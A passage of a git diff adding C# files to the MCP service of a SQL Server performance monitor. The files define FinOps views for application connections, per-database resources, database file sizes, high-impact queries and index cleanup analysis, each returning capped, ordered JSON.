+            var monthly = await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(
+                postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, cancellationToken);
+
+            /* #5558: databases this node holds only as an Availability Group secondary copy are left to the primary's findings.
+               Fails open (stale or missing snapshots, standalone, Azure SQL Database skip nothing). */
+            var secondary = await PgSecondaryReplicaScope.ReadAsync(
+                postgres, resolved.ServerId, DateTime.UtcNow, logger: null, cancellationToken);
+
+            /* The composer swallows every failed check; the hook names them. A cancelled request is not a failed check. */
+            var skipped = new List<string>();
+            var rows = await InInvariantCultureAsync(() => DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+                postgres, resolved.ServerId, monthly, McpCommandDeadlines.ReadSeconds,
+                (label, ex) =>
+                {
+                    if (ex is OperationCanceledException && cancellationToken.IsCancellationRequested) return;
+                    if (!skipped.Contains(label, StringComparer.Ordinal)) skipped.Add(label);
+                },
+                secondaryDatabases: secondary, cancellationToken: cancellationToken));
+            cancellationToken.ThrowIfCancellationRequested();
+
+            return JsonSerializer.Serialize(
+                Envelope(resolved.ServerName, monthly, skipped, rows, AgReplicaScope.SkippedNote(secondary)), McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_finops_recommendations", ex);
+        }
+    }
+
+    /// <summary>
+    /// Runs <paramref name="body"/> with the invariant culture current, then puts the caller's culture back. The
+    /// composer formats numbers and percents with the current culture; the service answers in one format.
+    /// </summary>
+    internal static async Task<T> InInvariantCultureAsync<T>(Func<Task<T>> body)
+    {
+        var saved = CultureInfo.CurrentCulture;
+        CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+        try
+        {
+            return await body();
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+
+    /// <summary>One recommendation row; the savings estimate is rounded to cents and is null when the check gives none.</summary>
+    internal static object RecommendationRow(FinOpsRecommendation r) => new
+    {
+        category = r.Category,
+        severity = r.Severity,
+        confidence = r.Confidence,
+        finding = r.Finding,
+        detail = r.Detail,
+        est_savings_usd_month = r.EstMonthlySavings is decimal s ? Math.Round(s, 2, MidpointRounding.AwayFromZero) : (decimal?)null,
+    };
+
+    /// <summary>The response envelope. Rows keep the composer's order.</summary>
+    internal static object Envelope(string server, decimal monthly, IReadOnlyList<string> skipped, IReadOnlyList<FinOpsRecommendation> rows,
+        string? secondaryNote = null)
+    {
+        var hasCost = monthly > 0m;
+        return new
+        {
+            server,
+            monthly_cost_usd = hasCost ? monthly : (decimal?)null,
+            cost_reason = hasCost ? null : "monthly cost not set",
+            recommendation_count = rows.Count,
+            skipped_checks = skipped,
+            /* #5558: the same field name and the same rule as every other MCP note (get_analysis_findings, analyze_server,
+               compare_analysis): always present, null when this node holds no secondary copy. */
+            secondary_replica_note = secondaryNote,
+            recommendations = rows.Select(RecommendationRow).ToList(),
+        };
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.ApplicationConnections.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.ApplicationConnections.cs
new file mode 100644
index 0000000000..99dbb1236a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.ApplicationConnections.cs
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string ApplicationConnectionsView = "application_connections";
+
+    internal const string ApplicationConnectionsViewLine =
+        "application_connections: connections and work per application.";
+
+    internal const string ApplicationConnectionsViewGuide =
+        "application_connections gives one row per client program over the window: average and peak connections, running, sleeping and dormant counts (each average and peak), CPU ms, reads, writes and logical reads (each average and peak), sample_count, and first_seen_utc and last_seen_utc. A program with no name is listed with an empty application_name; a NULL and an empty name can show as two rows. The CPU, reads, writes and logical-reads columns read 0 until the session collector has filled them. Averages are whole numbers. rows lists every application up to 500, ordered by peak connections, then average connections, then name, then first and last seen and sample_count; application_count is the number of applications and truncated says when there were more. hours_back is honoured and defaults to 24, which is the window the desktop's Application Connections tab reads. limit does not apply: a limit other than 10 is refused. Times are UTC and end in Z. No cost fields.";
+
+    /// <summary>The fixed ceiling on <c>rows</c>.</summary>
+    internal const int MaxApplicationRows = 500;
+
+    /// <summary>The application ordering: peak connections, then average connections, then name, then first seen, last seen and sample_count, so the order is total and a cut never depends on SQL order.</summary>
+    internal static List<ApplicationConnectionUsage> OrderApplicationRows(IEnumerable<ApplicationConnectionUsage> rows) =>
+        rows.OrderByDescending(r => r.MaxConnections)
+            .ThenByDescending(r => r.AvgConnections)
+            .ThenBy(r => r.ApplicationName, StringComparer.Ordinal)
+            .ThenBy(r => r.FirstSeenUtc)
+            .ThenBy(r => r.LastSeenUtc)
+            .ThenBy(r => r.SampleCount)
+            .ToList();
+
+    private static async Task<string> ReadApplicationConnectionsAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit, CancellationToken ct)
+    {
+        if (limit != DefaultLimit)
+            return McpHelpers.Refusal("limit",
+                $"Invalid limit value '{limit}': view {ApplicationConnectionsView} lists every application up to {MaxApplicationRows}; limit applies to the views with a top-N list. Omit it or pass {DefaultLimit}.");
+
+        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
+        var rows = await DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(
+            postgres, resolved.ServerId, cutoff, McpCommandDeadlines.ReadSeconds, ct);
+        if (rows.Count == 0)
+        {
+            return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "session_stats", ct)
+                ?? McpHelpers.Status("empty",
+                    $"No session statistics were collected for this server in the last {hoursBack} hours, so there is no per-application connection data to show.");
+        }
+
+        var ordered = OrderApplicationRows(rows);
+        return JsonSerializer.Serialize(new
+        {
+            server = resolved.ServerName,
+            view = ApplicationConnectionsView,
+            hours_back = hoursBack,
+            application_count = ordered.Count,
+            truncated = ordered.Count > MaxApplicationRows,
+            rows = ordered.Take(MaxApplicationRows).Select(ApplicationConnectionsRow).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>One application-connections row in the wire shape: snake_case keys, UTC times, no cost fields.</summary>
+    internal static object ApplicationConnectionsRow(ApplicationConnectionUsage r) => new
+    {
+        application_name = r.ApplicationName,
+        avg_connections = r.AvgConnections,
+        max_connections = r.MaxConnections,
+        avg_running = r.AvgRunning,
+        max_running = r.MaxRunning,
+        avg_sleeping = r.AvgSleeping,
+        max_sleeping = r.MaxSleeping,
+        avg_dormant = r.AvgDormant,
+        max_dormant = r.MaxDormant,
+        avg_cpu_time_ms = r.AvgCpuTimeMs,
+        max_cpu_time_ms = r.MaxCpuTimeMs,
+        avg_reads = r.AvgReads,
+        max_reads = r.MaxReads,
+        avg_writes = r.AvgWrites,
+        max_writes = r.MaxWrites,
+        avg_logical_reads = r.AvgLogicalReads,
+        max_logical_reads = r.MaxLogicalReads,
+        sample_count = r.SampleCount,
+        first_seen_utc = McpHelpers.FormatEffectiveStart(r.FirstSeenUtc),
+        last_seen_utc = McpHelpers.FormatEffectiveStart(r.LastSeenUtc),
+    };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseResources.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseResources.cs
new file mode 100644
index 0000000000..ee74b6d2f0
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseResources.cs
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string DatabaseResourcesView = "database_resources";
+
+    internal const string DatabaseResourcesViewLine =
+        "database_resources: CPU, reads, writes and I/O per database.";
+
+    internal const string DatabaseResourcesViewGuide =
+        "database_resources gives one row per database: CPU ms, logical and physical reads, logical writes and executions from the query-stats window, and read and write MB and stall ms from the file-I/O window. cpu_share_pct and io_share_pct are the database's share of the server's CPU and I/O, rounded to 0.01. rows lists every database up to 500, ordered by CPU, then I/O, then name; database_count is the number of databases and truncated says when there were more. Older windows read the hourly or daily rollups, chosen by the same rule as the desktop viewer. top_by_total and top_by_avg rank databases by total CPU and by CPU per execution, from the query-grain window, and limit caps only these two lists. top_by_total can include databases with 0 CPU that only had file I/O; a database with no executions is left out of top_by_avg, so top_by_avg is empty when no database has executions in the window; an unattributed one is left out of top_by_total. Above 72 hours, rows reads the per-database rollup and the top lists read the query-grain rollup, so one database's CPU can differ between them. avg_cpu_ms is rounded to a whole millisecond, avg_io_mb has 4 decimals, io_total_mb has 2, and total_cpu_ms is the total behind the average. The top lists follow hours_back, while the desktop's top-consumer grids always cover 24 hours, so send hours_back=24 to match them. No cost fields.";
+
+    /// <summary>The fixed ceiling on <c>rows</c>; <c>limit</c> caps only the two top lists.</summary>
+    internal const int MaxDatabaseRows = 500;
+
+    /// <summary>The database ordering: CPU, then total I/O, then name, so a cut never depends on SQL order.</summary>
+    internal static System.Collections.Generic.List<DatabaseResourceUsage> OrderDatabaseRows(
+        System.Collections.Generic.IEnumerable<DatabaseResourceUsage> rows) =>
+        rows.OrderByDescending(r => r.CpuTimeMs)
+            .ThenByDescending(r => r.IoReadMb + r.IoWriteMb)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ToList();
+
+    private static async Task<string> ReadDatabaseResourcesAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit, CancellationToken ct)
+    {
+        /* The cutoff is taken before the rollup probe, the viewer's order. */
+        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
+        var rows = await DarlingFinOpsDatabaseResourcesReader.GetDatabaseResourceUsageAsync(
+            postgres, resolved.ServerId, rollups, coverage, cutoff, McpCommandDeadlines.ReadSeconds, ct);
+        if (rows.Count == 0)
+        {
+            /* The view reads two collectors, so it is not_collected only when both are gated. */
+            var gated = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", ct);
+            if (gated is not null
+                && await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", ct) is not null)
+            {
+                return gated;
+            }
+
+            return McpHelpers.Status("empty",
+                    $"No query statistics or file I/O were collected for this server in the last {hoursBack} hours, so there is no per-database usage to show.");
+        }
+
+        var ordered = OrderDatabaseRows(rows);
+        var (byTotal, byAvg) = await DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync(
+            postgres, resolved.ServerId, rollups, coverage, cutoff, McpCommandDeadlines.ReadSeconds, limit, ct);
+
+        return JsonSerializer.Serialize(new
+        {
+            server = resolved.ServerName,
+            view = DatabaseResourcesView,
+            hours_back = hoursBack,
+            database_count = ordered.Count,
+            truncated = ordered.Count > MaxDatabaseRows,
+            rows = ordered.Take(MaxDatabaseRows).Select(DatabaseResourcesRow).ToList(),
+            top_by_total = byTotal.Select(TopByTotalRow).ToList(),
+            top_by_avg = byAvg.Select(TopByAvgRow).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>One database-resources row in the wire shape: snake_case keys, no cost fields.</summary>
+    internal static object DatabaseResourcesRow(DatabaseResourceUsage r) => new
+    {
+        database_name = r.DatabaseName,
+        cpu_time_ms = r.CpuTimeMs,
+        logical_reads = r.LogicalReads,
+        physical_reads = r.PhysicalReads,
+        logical_writes = r.LogicalWrites,
+        execution_count = r.ExecutionCount,
+        io_read_mb = r.IoReadMb,
+        io_write_mb = r.IoWriteMb,
+        io_stall_ms = r.IoStallMs,
+        cpu_share_pct = r.PctCpuShare,
+        io_share_pct = r.PctIoShare,
+    };
+
+    /// <summary>One top-by-total-CPU row in the wire shape.</summary>
+    internal static object TopByTotalRow(TopResourceConsumer r) => new
+    {
+        database_name = r.DatabaseName,
+        cpu_time_ms = r.CpuTimeMs,
+        execution_count = r.ExecutionCount,
+        io_total_mb = r.IoTotalMb,
+        cpu_share_pct = r.PctCpu,
+        io_share_pct = r.PctIo,
+    };
+
+    /// <summary>One top-by-CPU-per-execution row in the wire shape; <c>CpuTimeMs</c> holds the average on these rows.</summary>
+    internal static object TopByAvgRow(TopResourceConsumer r) => new
+    {
+        database_name = r.DatabaseName,
+        avg_cpu_ms = r.CpuTimeMs,
+        execution_count = r.ExecutionCount,
+        total_cpu_ms = r.TotalCpuTimeMs,
+        io_total_mb = r.IoTotalMb,
+        avg_io_mb = r.AvgIoMb,
+    };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseSizes.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseSizes.cs
new file mode 100644
index 0000000000..2abe84af27
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseSizes.cs
@@ -0,0 +1,115 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string DatabaseSizesView = "database_sizes";
+
+    /* The served head is at its 620-character target with the eight earlier views, so this view is named in the
+       Valid list and described in the guide tail only. */
+
+    internal const string DatabaseSizesViewGuide =
+        "database_sizes gives one row per database file from the latest size snapshot (captured_at, a time, not a window; hours_back is ignored), biggest first, with the volume it sits on. free_space_mb is total minus used and used_pct is used over total to 0.1; both are null when the file has no used size. auto_growth_mb is the growth step in MB when is_percent_growth is false, 0 meaning growth is off; when it is true, growth_pct is the step. vlf_count and recovery_model apply to log files and databases; vlf_count is null on a data file. monthly_cost_usd is the file's share of the server's registered monthly cost by allocated size, as the desktop shows it, rounded to 0.01; null for every row when no cost is set or it is 0 or less, and for a file with no allocated size. monthly_cost_usd is a share of the whole snapshot, so it still sums to the monthly cost when rows is cut. rows lists 70 files by default; limit 11 to 500 lists that many (the default 10 means 70); file_count is the number of files and truncated says when there were more. size_note carries the Azure SQL notes, as get_database_sizes.";
+
+    /// <summary>How many files <c>rows</c> lists when the caller leaves <c>limit</c> at its default. Sized so a default
+    /// call stays under the response target.</summary>
+    internal const int DefaultDatabaseSizeRows = 70;
+
+    /// <summary>The most files a caller may ask <c>rows</c> to list. It matches the 500-row ceiling of the database_resources
+    /// and application_connections views.</summary>
+    internal const int MaxDatabaseSizeRows = 500;
+
+    /// <summary>The row count a <c>limit</c> asks for: the default <c>limit</c> means <see cref="DefaultDatabaseSizeRows"/>,
+    /// any other value is the count.</summary>
+    internal static int DatabaseSizeRowCap(int limit) => limit == DefaultLimit ? DefaultDatabaseSizeRows : limit;
+
+    /// <summary>One file's share of the monthly cost by allocated size, to 2 places away from zero; null when no
+    /// cost is set, the file has no allocated size, or the snapshot allocates nothing.</summary>
+    internal static decimal? DatabaseSizeCostShare(decimal? sizeMb, decimal totalMb, decimal monthly)
+    {
+        if (monthly <= 0m || totalMb <= 0m || sizeMb is null) return null;
+        return Math.Round(FinOpsCost.StorageShare(sizeMb.Value, totalMb, monthly), 2, MidpointRounding.AwayFromZero);
+    }
+
+    private static async Task<string> ReadDatabaseSizesAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int limit, CancellationToken ct)
+    {
+        var files = await DarlingFinOpsDatabaseSizesReader.GetLatestAsync(postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        if (files.Count == 0)
+        {
+            return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_size_stats", ct)
+                ?? McpHelpers.Status("unavailable", "No database size data available. The size collector may not have run yet.");
+        }
+
+        var monthly = await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        return DatabaseSizesPayload(resolved.ServerName, files, monthly, DatabaseSizeRowCap(limit));
+    }
+
+    /// <summary>The database_sizes payload, shaped apart from the read so it can be pinned without a store.</summary>
+    internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<DatabaseSizeFileDto> files, decimal monthly, int rowCap = DefaultDatabaseSizeRows)
+    {
+        var hasCost = monthly > 0m;
+        var totalMb = files.Sum(f => f.TotalSizeMb ?? 0m);
+        var note = AzureSiblingDatabaseSize.DatabaseSizesNote(
+            hasLogServiceFile: files.Any(f => f.TotalSizeMb is null),
+            hasSiblingRow: files.Any(f => AzureSiblingDatabaseSize.IsSiblingRow(f.FileId, f.FileName)));
+        return JsonSerializer.Serialize(new
+        {
+            server = serverName,
+            view = DatabaseSizesView,
+            captured_at = McpHelpers.FormatEffectiveStart(files[0].CollectionTime),
+            monthly_cost_usd = hasCost ? monthly : (decimal?)null,
+            cost_reason = hasCost ? null : "monthly cost not set",
+            file_count = files.Count,
+            truncated = files.Count > rowCap,
+            note,
+            rows = files.Take(rowCap).Select(f => DatabaseSizesRow(f, totalMb, monthly)).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>One database-sizes row in the wire shape: snake_case keys.</summary>
+    internal static Dictionary<string, object?> DatabaseSizesRow(DatabaseSizeFileDto f, decimal totalMb, decimal monthly)
+    {
+        var isLog = string.Equals(f.FileTypeDesc, "LOG", StringComparison.OrdinalIgnoreCase);
+        var row = new Dictionary<string, object?>
+        {
+            ["database_name"] = f.DatabaseName,
+            ["file_name"] = f.FileName,
+            ["file_type"] = f.FileTypeDesc,
+            ["total_size_mb"] = f.TotalSizeMb,
+            ["used_size_mb"] = f.UsedSizeMb,
+            ["free_space_mb"] = f.UsedSizeMb.HasValue && f.TotalSizeMb.HasValue ? f.TotalSizeMb.Value - f.UsedSizeMb.Value : null,
+            ["used_pct"] = f.UsedSizeMb.HasValue && f.TotalSizeMb > 0 ? Math.Round(f.UsedSizeMb.Value * 100m / f.TotalSizeMb.Value, 1) : null,
+            ["max_size_mb"] = f.MaxSizeMb,
+            ["auto_growth_mb"] = f.AutoGrowthMb,
+            ["is_percent_growth"] = f.IsPercentGrowth,
+            ["growth_pct"] = f.GrowthPct,
+            ["recovery_model"] = f.RecoveryModel,
+            ["vlf_count"] = isLog ? f.VlfCount : null,
+            ["volume_mount_point"] = f.VolumeMountPoint,
+            ["volume_total_mb"] = f.VolumeTotalMb,
+            ["volume_free_mb"] = f.VolumeFreeMb,
+            ["monthly_cost_usd"] = DatabaseSizeCostShare(f.TotalSizeMb, totalMb, monthly),
+        };
+        if (AzureSiblingDatabaseSize.IsSiblingRow(f.FileId, f.FileName))
+            row[AzureSiblingDatabaseSize.RowNoteKey] = AzureSiblingDatabaseSize.LogNote;
+        return row;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs
new file mode 100644
index 0000000000..7275611999
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string HighImpactView = "high_impact";
+
+    internal const string HighImpactViewLine =
+        "high_impact: top query hashes on six measures, scored and banded.";
+
+    internal const string HighImpactViewGuide =
+        "high_impact reads the query-stats window for the server, keeps the top limit query hashes on each of the six measures (CPU, duration, reads, writes, memory and executions), and ranks the union by impact_score 0-100 (the mean percent-rank across the six measures). impact_band is high at 80 and above, medium at 60 and above, else low. The *_share_pct fields are each row's share of the kept set's total, rounded to 0.1. sample_query_text is the first 200 characters of the hash's busiest statement; the full text and the plan are not returned, has_plan only says whether a plan was captured. No cost fields.";
+
+    private static async Task<string> ReadHighImpactAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit, CancellationToken ct)
+    {
+        var rows = await DarlingFinOpsHighImpactReader.ReadAsync(
+            postgres, resolved.ServerId, hoursBack, McpCommandDeadlines.ReadSeconds, ct, limit);
+        if (rows.Count == 0)
+        {
+            return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", ct)
+                ?? McpHelpers.Status("empty",
+                    $"No query statistics were collected for this server in the last {hoursBack} hours, so there is nothing to rank.");
+        }
+
+        return JsonSerializer.Serialize(new
+        {
+            server = resolved.ServerName,
+            view = HighImpactView,
+            hours_back = hoursBack,
+            rows = rows.Select(HighImpactRow).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>One high-impact row in the wire shape: snake_case keys, the band decided here, no query text beyond
+    /// the short sample and no plan XML.</summary>
+    internal static object HighImpactRow(HighImpactQuery r) => new
+    {
+        query_hash = r.QueryHash,
+        database_name = r.DatabaseName,
+        total_executions = r.TotalExecutions,
+        total_cpu_ms = r.TotalCpuMs,
+        total_duration_ms = r.TotalDurationMs,
+        total_reads = r.TotalReads,
+        total_writes = r.TotalWrites,
+        total_memory_mb = r.TotalMemoryMb,
+        cpu_share_pct = r.CpuShare,
+        duration_share_pct = r.DurationShare,
+        reads_share_pct = r.ReadsShare,
+        writes_share_pct = r.WritesShare,
+        memory_share_pct = r.MemoryShare,
+        executions_share_pct = r.ExecutionsShare,
+        impact_score = r.ImpactScore,
+        impact_band = HighImpactScorer.HighImpactBand(r.ImpactScore),
+        /* #5320: judged on the whole statement, then cut to the 200 characters the SQL sample carries. */
+        sample_query_text = McpHelpers.StatementPreview(r.FullQueryText, 200),
+        has_plan = !string.IsNullOrEmpty(r.QueryPlanXml),
+    };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.IndexAnalysis.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.IndexAnalysis.cs
new file mode 100644
index 0000000000..de4c866b1e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.IndexAnalysis.cs
@@ -0,0 +1,294 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string IndexAnalysisView = "index_analysis";
+
+    internal const string IndexAnalysisViewLine =
+        "index_analysis: index cleanup findings and reclaimable space.";
+
+    internal const string IndexAnalysisViewGuide =
+        "index_analysis runs the monitor-side sp_IndexCleanup reproduction over each database's newest collected index snapshot; each databases entry carries captured_at, when that snapshot was collected (a database that left collection scope shows an older one), and overall carries none; hours_back other than 24 is refused. overall and databases are the reclaimable-space roll-ups in GB (3 decimals); workload counters are per database only. recommendations is ordered by index size, then name; limit (1 to 500, default 10) caps it, recommendation_count and counts_by_action count all findings, and truncated says when rows were cut. databases lists at most 13, largest total_max_savings_gb first, and databases_truncated says when more exist; database_name reads any database, including one outside those 13. script and original_index_definition are cut to 300 characters unless full_text=true, which returns them in full with no size cap; the *_truncated flags say so. At limit 500 the answer is about 0.45 MB with typical names, around 1 MB with long names, and up to about 3.5 MB with full_text on wide indexes; use database_name or a smaller limit for less. notes carries the uptime and dedupe-only caveats and the analyzer's stated limitations. REVIEW rows carry no script. Text numbers use the invariant culture.";
+
+    /// <summary>The longest <c>script</c> or <c>original_index_definition</c> text kept when <c>full_text</c> is false.</summary>
+    internal const int IndexAnalysisTextCap = 300;
+
+    /// <summary>The fixed ceiling on <c>databases</c>: the largest count whose default response (ten full-length recommendations, every note, maximum-width figures and 60-character names) stays under 30,720 bytes.</summary>
+    internal const int MaxIndexAnalysisDatabases = 13;
+
+    /// <summary>The most recommendations a caller may ask <c>recommendations</c> to list (#5238). The web Index Analysis tab asks for it, as the Database Sizes tab asks for its 500 files, because the desktop grid lists every finding. The default <c>limit</c> of 10 is unchanged, so a default call keeps its size.</summary>
+    internal const int MaxIndexAnalysisRecommendations = 500;
+
+    internal const string IndexAnalysisUptimeNote =
+        "Server uptime is under 14 days — index usage data may be incomplete, so some \"Unused Index\" findings could be premature.";
+
+    internal const string IndexAnalysisDedupeNote =
+        "Dedupe-only mode is in effect — unused indexes were NOT flagged (server uptime is 7 days or less). Only duplicate/consolidation and compression findings are shown.";
+
+    private static readonly string[] IndexAnalysisActions = ["COMPRESS", "DISABLE", "DROP CONSTRAINT", "MAKE UNIQUE", "MERGE", "REVIEW"];
+
+    /// <summary>Each optional parameter and the only views that accept it; every other view refuses it.</summary>
+    private static readonly (string Parameter, string[] Views)[] OptionalParamViews =
+    [
+        ("database_name", [IndexAnalysisView, StorageGrowthView]),
+        ("full_text", [IndexAnalysisView]),
+        ("object_name", [StorageGrowthView]),
+    ];
+
+    /// <summary>
+    /// Refuses <c>database_name</c>, <c>full_text</c> and <c>object_name</c> on every view that does not accept them,
+    /// in that order, naming the views that do.
+    /// </summary>
+    internal static (string Parameter, string Message)? OptionalParamMisuse(string view, string? databaseName, bool fullText, string? objectName = null)
+    {
+        foreach (var (parameter, views) in OptionalParamViews)
+        {
+            var given = parameter switch
+            {
+                "database_name" => databaseName != null,
+                "full_text" => fullText,
+                "object_name" => objectName != null,
+                _ => throw new UnreachableException(parameter),
+            };
+            if (!given || views.Contains(view)) continue;
+            var only = views.Length == 1 ? $"view {views[0]}" : $"views {string.Join(" and ", views)}";
+            return (parameter, $"{parameter} applies only to {only}; omit it for view {view}.");
+        }
+        return null;
+    }
+
+    /// <summary>Cuts <paramref name="text"/> to <paramref name="cap"/> characters plus an ellipsis, only when it is longer than the cap.</summary>
+    internal static (string Text, bool Truncated) TruncateIndexAnalysisText(string? text, int cap)
+    {
+        if (text == null) return ("", false);
+        return text.Length > cap ? (text[..McpHelpers.TextElementCutLength(text, cap)] + "…", true) : (text, false);
+    }
+
+    /// <summary>Treats an empty or whitespace-only optional text parameter (<c>database_name</c>, <c>object_name</c>) as not given.</summary>
+    internal static string? NormalizeOptionalText(string? text) =>
+        string.IsNullOrWhiteSpace(text) ? null : text;
+
+    /// <summary>The recommendation ordering: size, then the full name chain, action label, consolidation rule (nulls first) and index id, so a cut never depends on analyzer order.</summary>
+    internal static List<IndexCleanupRecommendation> OrderIndexAnalysisRecommendations(IEnumerable<IndexCleanupRecommendation> rows) =>
+        rows.OrderByDescending(r => r.IndexSizeGb)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ThenBy(r => r.SchemaName, StringComparer.Ordinal)
+            .ThenBy(r => r.TableName, StringComparer.Ordinal)
+            .ThenBy(r => r.IndexName, StringComparer.Ordinal)
+            .ThenBy(r => DarlingFinOpsIndexAnalysisReader.ActionLabelFor(r.Action, r.ResultKind), StringComparer.Ordinal)
+            .ThenBy(r => r.ConsolidationRule ?? "", StringComparer.Ordinal)
+            .ThenBy(r => r.IndexId)
+            .ToList();
+
+    /// <summary>The database ordering: largest possible reclaim, then name.</summary>
+    internal static List<IndexCleanupRollup> OrderIndexAnalysisDatabases(IEnumerable<IndexCleanupRollup> rows) =>
+        rows.OrderByDescending(r => r.TotalMaxSavingsGb)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ToList();
+
+    private static decimal Gb(decimal value) => Math.Round(value, 3, MidpointRounding.AwayFromZero);
+
+    private static decimal AvgWait(long waitInMs, long waitCount) =>
+        Math.Round(IndexCleanupRollupFigures.AverageWaitMs(waitInMs, waitCount), 2, MidpointRounding.AwayFromZero);
+
+    /// <summary>One roll-up row; the workload counters are included only for a per-database row.</summary>
